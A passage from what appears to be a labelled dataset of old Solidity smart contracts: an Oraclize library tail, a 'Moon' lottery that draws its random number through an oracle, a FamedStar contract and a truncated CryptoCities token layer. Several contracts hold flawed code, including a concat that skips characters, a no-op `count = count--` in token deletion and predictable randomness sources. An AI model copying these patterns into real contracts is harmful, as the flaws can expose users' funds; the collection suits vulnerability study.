function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
library Strings {
function concat(string _base, string _value) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i++];
}
return string(_newValue);
}
}
contract Moon is usingOraclize{
using Strings for string;
struct Ticket {
uint amount;
}
uint gameNumber;
uint allGameAmount;
mapping(address => uint) earnings;
mapping (address => uint) tickets;
mapping (address => uint) ticketsForGame;
uint numElements;
address[] gameAddresses;
uint numSums;
uint[] gameSums;
address beneficiaryOne;
address beneficiaryTwo;
address winner;
uint gameBegin;
uint gameEnd;
uint totalAmount;
uint numberOfPlayers;
uint randomNumber;
string concatFirst;
string concatSecond;
string concatRequest;
function Moon() public {
beneficiaryOne = 0x009a71cf732A6449a202A323AadE7a2BcFaAe3A8;
beneficiaryTwo = 0x004e864e109fE8F3394CcDB74F64c160ac4C5ce4;
gameBegin = now;
gameEnd = now + 1 days;
totalAmount = 0;
gameNumber = 1;
allGameAmount = 0;
numElements = 0;
numberOfPlayers = 0;
concatFirst = "random number between 0 and ";
concatSecond = "";
concatRequest = "";
}
function buyTicket() public payable {
require((now <= gameEnd) || (totalAmount == 0));
require(msg.value > 1000000000000000);
require(ticketsForGame[msg.sender] < gameNumber);
require(msg.value + totalAmount < 2000000000000000000000);
require(randomNumber == 0);
ticketsForGame[msg.sender] = gameNumber;
tickets[msg.sender] = 0;
insertAddress(msg.sender);
insertSums(totalAmount);
tickets[msg.sender] = msg.value;
totalAmount += msg.value;
numberOfPlayers += 1;
}
function withdraw() public returns (uint) {
uint withdrawStatus = 0;
uint amount = earnings[msg.sender];
if (amount > 0) {
withdrawStatus = 1;
earnings[msg.sender] = 0;
if (!msg.sender.send(amount)) {
earnings[msg.sender] = amount;
withdrawStatus = 2;
return withdrawStatus;
}
}
return withdrawStatus;
}
function __callback(bytes32 myid, string result) public {
require(msg.sender == oraclize_cbAddress());
randomNumber = parseInt(result) * 10000000000000;
return;
myid;
}
function chooseRandomNumber() payable public {
require(randomNumber == 0);
require((now > gameEnd) && (totalAmount > 0));
concatSecond = uint2str(totalAmount / 10000000000000);
concatRequest = strConcat(concatFirst, concatSecond);
oraclize_query("WolframAlpha", concatRequest);
}
function endGame() public {
require(now > gameEnd);
require(numElements > 0);
require(randomNumber > 0);
uint cursor = 0;
uint inf = 0;
uint sup = numElements - 1;
uint test = 0;
if(numElements > 1){
if(randomNumber > gameSums[sup]){
winner = gameAddresses[sup];
} else{
while( (sup > inf + 1) && ( (randomNumber <= gameSums[cursor]) || ((cursor+1<numElements) && (randomNumber > gameSums[cursor+1])) ) ){
test = inf + (sup - inf) / 2;
if(randomNumber > gameSums[test]){
inf = test;
} else{
sup = test;
}
cursor = inf;
}
winner = gameAddresses[cursor];
}
}
else{
winner = gameAddresses[0];
}
uint amountOne = uint ( (4 * totalAmount) / 100 );
uint amountTwo = uint ( (1 * totalAmount) / 100 );
uint amountThree = totalAmount - amountOne - amountTwo;
earnings[beneficiaryOne] += amountOne;
earnings[beneficiaryTwo] += amountTwo;
earnings[winner] += amountThree;
gameNumber += 1;
allGameAmount += totalAmount;
gameBegin = now;
gameEnd = now + 1 days;
totalAmount = 0;
randomNumber = 0;
numberOfPlayers = 0;
clearAddresses();
clearSums();
}
function myEarnings() public view returns (uint){
return earnings[msg.sender];
}
function getWinnerAddress() public view returns (address){
return winner;
}
function getGameBegin() public view returns (uint) {
return gameBegin;
}
function getGameEnd() public view returns (uint) {
return gameEnd;
}
function getTotalAmount() public view returns (uint){
return totalAmount;
}
function getGameAddresses(uint index) public view returns(address){
return gameAddresses[index];
}
function getGameSums(uint index) public view returns(uint){
return gameSums[index];
}
function getGameNumber() public view returns (uint) {
return gameNumber;
}
function getNumberOfPlayers() public view returns (uint) {
return numberOfPlayers;
}
function getAllGameAmount() public view returns (uint) {
return allGameAmount;
}
function getRandomNumber() public view returns (uint){
return randomNumber;
}
function getMyStake() public view returns (uint){
return tickets[msg.sender];
}
function getNumSums() public view returns (uint){
return numSums;
}
function getNumElements() public view returns (uint){
return numElements;
}
function insertAddress(address value) private {
if(numElements == gameAddresses.length) {
gameAddresses.length += 1;
}
gameAddresses[numElements++] = value;
}
function clearAddresses() private{
numElements = 0;
}
function insertSums(uint value) private{
if(numSums == gameSums.length) {
gameSums.length += 1;
}
gameSums[numSums++] = value;
}
function clearSums() private{
numSums = 0;
}
} | 0 | 574 |
pragma solidity ^0.4.17;
contract NovaLabInterface {
function bornFamedStar(uint lc) external constant returns(bool) {}
}
contract NovaAccessControl {
mapping (address => bool) managers;
address cfoAddress;
function NovaAccessControl() public {
managers[msg.sender] = true;
}
modifier onlyManager() {
require(managers[msg.sender]);
_;
}
function setManager(address _newManager) external onlyManager {
require(_newManager != address(0));
managers[_newManager] = true;
}
function removeManager(address mangerAddress) external onlyManager {
require(mangerAddress != msg.sender);
managers[mangerAddress] = false;
}
function updateCfo(address newCfoAddress) external onlyManager {
require(newCfoAddress != address(0));
cfoAddress = newCfoAddress;
}
}
contract FamedStar is NovaAccessControl {
struct Star {
bytes32 name;
uint mass;
uint lc;
address owner;
}
address public labAddress;
address public novaAddress;
Star[] stars;
mapping (bytes32 => uint) public famedStarNameToIds;
mapping (uint => uint) public famedStarMassToIds;
function FamedStar() public {
_addFamedStar("placeholder", 0, 0);
}
function _bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function _stringToBytes32(string source) internal pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function updateLabAddress(address addr) external onlyManager {
labAddress = addr;
}
function updateNovaAddress(address addr) external onlyManager {
novaAddress = addr;
}
function addFamedStar(string name, uint mass, uint lc) external onlyManager {
_addFamedStar(name, mass, lc);
}
function _addFamedStar(string name, uint mass, uint lc) internal {
require(bytes(name).length <= 32);
var bN = _stringToBytes32(name);
require(famedStarNameToIds[bN] == 0);
require(famedStarMassToIds[mass] == 0);
var id = stars.push(Star({
name: bN,
mass: mass,
lc: lc,
owner: 0x0
})) - 1;
famedStarNameToIds[bN] = id;
famedStarMassToIds[mass] = id;
}
function getFamedStarByID(uint id) public constant returns(uint starID, string name, uint mass, address owner) {
require(id > 0 && id < stars.length);
var star = stars[id];
return (id, _bytes32ToString(star.name), star.mass, star.owner);
}
function getFamedStarByName(string n) public constant returns(uint starID, string name, uint mass, address owner) {
starID = famedStarNameToIds[_stringToBytes32(n)];
require(starID > 0);
var star = stars[starID];
return (starID, n, star.mass, star.owner);
}
function getFamedStarByMass(uint m) public constant returns(uint starID, string name, uint mass, address owner) {
starID = famedStarMassToIds[m];
require(starID > 0);
var star = stars[starID];
return (starID, _bytes32ToString(star.name), star.mass, star.owner);
}
function updateFamedStarOwner(uint id, address newOwner) external {
require(msg.sender == novaAddress);
require(id > 0 && id < stars.length);
var star = stars[id];
require(star.mass > 0);
stars[id].owner = newOwner;
}
function bornFamedStar(address userAddress, uint mass) external returns(uint id, bytes32 name) {
require(msg.sender == novaAddress);
var starID = famedStarMassToIds[mass];
if (starID == 0) {
return (0, 0);
}
var star = stars[starID];
if (star.owner != address(0x0)) {
return (0, 0);
}
bool isGot;
var labContract = NovaLabInterface(labAddress);
isGot = labContract.bornFamedStar(star.lc);
if (isGot) {
stars[starID].owner = userAddress;
return (starID, stars[starID].name);
} else {
stars[starID].lc++;
return (0, 0);
}
}
} | 1 | 3,769 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenID) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenID) public view returns (address addr);
function takeOwnership(uint256 _tokenID) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenID) public;
function transfer(address _to, uint256 _tokenID) public;
event Transfer(address indexed from, address indexed to, uint256 tokenID);
event Approval(address indexed owner, address indexed approved, uint256 tokenID);
function name() public pure returns (string);
function symbol() public pure returns (string);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Manageable is Ownable {
address public manager;
bool public contractLock;
event ManagerTransferred(address indexed previousManager, address indexed newManager);
event ContractLockChanged(address admin, bool state);
function Manageable() public {
manager = msg.sender;
contractLock = false;
}
modifier onlyManager() {
require(msg.sender == manager);
_;
}
modifier onlyAdmin() {
require((msg.sender == manager) || (msg.sender == owner));
_;
}
modifier isUnlocked() {
require(!contractLock);
_;
}
function transferManager(address newManager) public onlyAdmin {
require(newManager != address(0));
ManagerTransferred(manager, newManager);
manager = newManager;
}
function setContractLock(bool setting) public onlyAdmin {
contractLock = setting;
ContractLockChanged(msg.sender, setting);
}
function payout(address _to) public onlyOwner {
if (_to == address(0)) {
owner.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function withdrawFunds(address _to, uint256 amount) public onlyOwner {
require(this.balance >= amount);
if (_to == address(0)) {
owner.transfer(amount);
} else {
_to.transfer(amount);
}
}
}
contract TokenLayer is ERC721, Manageable {
using SafeMath for uint256;
event TokenCreated(uint256 tokenId, bytes32 name, uint256 parentId, address owner);
event TokenDeleted(uint256 tokenId);
event TokenSold(
uint256 tokenId, uint256 oldPrice,
uint256 newPrice, address prevOwner,
address winner, bytes32 name,
uint256 parentId
);
event PriceChanged(uint256 tokenId, uint256 oldPrice, uint256 newPrice);
event ParentChanged(uint256 tokenId, uint256 oldParentId, uint256 newParentId);
event NameChanged(uint256 tokenId, bytes32 oldName, bytes32 newName);
event MetaDataChanged(uint256 tokenId, bytes32 oldMeta, bytes32 newMeta);
uint256 private constant DEFAULTPARENT = 123456789;
mapping (uint256 => Token) private tokenIndexToToken;
mapping (address => uint256) private ownershipTokenCount;
address public gameAddress;
address public parentAddr;
uint256 private totalTokens;
uint256 public devFee = 50;
uint256 public ownerFee = 200;
uint256[10] private chainFees = [10];
struct Token {
bool exists;
address approved;
address owner;
bytes32 metadata;
bytes32 name;
uint256 lastBlock;
uint256 parentId;
uint256 price;
}
modifier onlySystem() {
require((msg.sender == gameAddress) || (msg.sender == manager));
_;
}
function TokenLayer(address _gameAddress, address _parentAddr) public {
gameAddress = _gameAddress;
parentAddr = _parentAddr;
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return "CryptoCities";
}
function symbol() public pure returns (string) {
return "SubcontinentToken";
}
function approve(address _to, uint256 _tokenId, address _from) public onlySystem {
_approve(_to, _tokenId, _from);
}
function approve(address _to, uint256 _tokenId) public isUnlocked {
_approve(_to, _tokenId, msg.sender);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function bundleToken(uint256 _tokenId) public view returns(uint256[8] _tokenData) {
Token storage token = tokenIndexToToken[_tokenId];
uint256[8] memory tokenData;
tokenData[0] = uint256(token.name);
tokenData[1] = token.parentId;
tokenData[2] = token.price;
tokenData[3] = uint256(token.owner);
tokenData[4] = _getNextPrice(_tokenId);
tokenData[5] = devFee+getChainFees(_tokenId);
tokenData[6] = uint256(token.approved);
tokenData[7] = uint256(token.metadata);
return tokenData;
}
function takeOwnership(uint256 _tokenId, address _to) public onlySystem {
_takeOwnership(_tokenId, _to);
}
function takeOwnership(uint256 _tokenId) public isUnlocked {
_takeOwnership(_tokenId, msg.sender);
}
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 _totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId = 0;
uint256 tokenIndex = 0;
while (tokenIndex <= _totalTokens) {
if (exists(tokenId)) {
tokenIndex++;
if (tokenIndexToToken[tokenId].owner == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
tokenId++;
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return totalTokens;
}
function transfer(address _to, address _from, uint256 _tokenId) public onlySystem {
_checkThenTransfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public isUnlocked {
_checkThenTransfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public onlySystem {
_transferFrom(_from, _to, _tokenId);
}
function transferFrom(address _from, uint256 _tokenId) public isUnlocked {
_transferFrom(_from, msg.sender, _tokenId);
}
function createToken(
uint256 _tokenId, address _owner,
bytes32 _name, uint256 _parentId,
uint256 _price, bytes32 _metadata
) public onlyAdmin {
require(_price > 0);
require(_addressNotNull(_owner));
require(_tokenId == uint256(uint32(_tokenId)));
require(!exists(_tokenId));
totalTokens++;
Token memory _token = Token({
name: _name,
parentId: _parentId,
exists: true,
price: _price,
owner: _owner,
approved : 0,
lastBlock : block.number,
metadata : _metadata
});
tokenIndexToToken[_tokenId] = _token;
TokenCreated(_tokenId, _name, _parentId, _owner);
_transfer(address(0), _owner, _tokenId);
}
function createTokens(
uint256[] _tokenIds, address[] _owners,
bytes32[] _names, uint256[] _parentIds,
uint256[] _prices, bytes32[] _metadatas
) public onlyAdmin {
for (uint256 id = 0; id < _tokenIds.length; id++) {
createToken(
_tokenIds[id], _owners[id], _names[id],
_parentIds[id], _prices[id], _metadatas[id]
);
}
}
function deleteToken(uint256 _tokenId) public onlyAdmin {
require(_tokenId == uint256(uint32(_tokenId)));
require(exists(_tokenId));
totalTokens--;
address oldOwner = tokenIndexToToken[_tokenId].owner;
ownershipTokenCount[oldOwner] = ownershipTokenCount[oldOwner]--;
delete tokenIndexToToken[_tokenId];
TokenDeleted(_tokenId);
}
function incrementPrice(uint256 _tokenId, address _to) public onlySystem {
require(exists(_tokenId));
uint256 _price = tokenIndexToToken[_tokenId].price;
address _owner = tokenIndexToToken[_tokenId].owner;
uint256 _totalFees = getChainFees(_tokenId);
tokenIndexToToken[_tokenId].price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
TokenSold(
_tokenId, _price, tokenIndexToToken[_tokenId].price,
_owner, _to, tokenIndexToToken[_tokenId].name,
tokenIndexToToken[_tokenId].parentId
);
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
require(exists(_tokenId));
_owner = tokenIndexToToken[_tokenId].owner;
}
function blocked(uint256 _tokenId) public view returns (bool _blocked) {
return (tokenIndexToToken[_tokenId].lastBlock == block.number);
}
function exists(uint256 _tokenId) public view returns(bool) {
return (tokenIndexToToken[_tokenId].exists);
}
function setLayerParent(address _parent) public onlyAdmin {
parentAddr = _parent;
}
function setGame(address _gameAddress) public onlyAdmin {
gameAddress = _gameAddress;
}
function setPrice(uint256 _tokenId, uint256 _price, address _owner) public onlySystem {
require(_owns(_owner, _tokenId));
uint256 oldPrice = tokenIndexToToken[_tokenId].price;
tokenIndexToToken[_tokenId].price = _price;
PriceChanged(_tokenId, oldPrice, _price);
}
function setParent(uint256 _tokenId, uint256 _parentId) public onlyAdmin {
require(exists(_tokenId));
uint256 oldParentId = tokenIndexToToken[_tokenId].parentId;
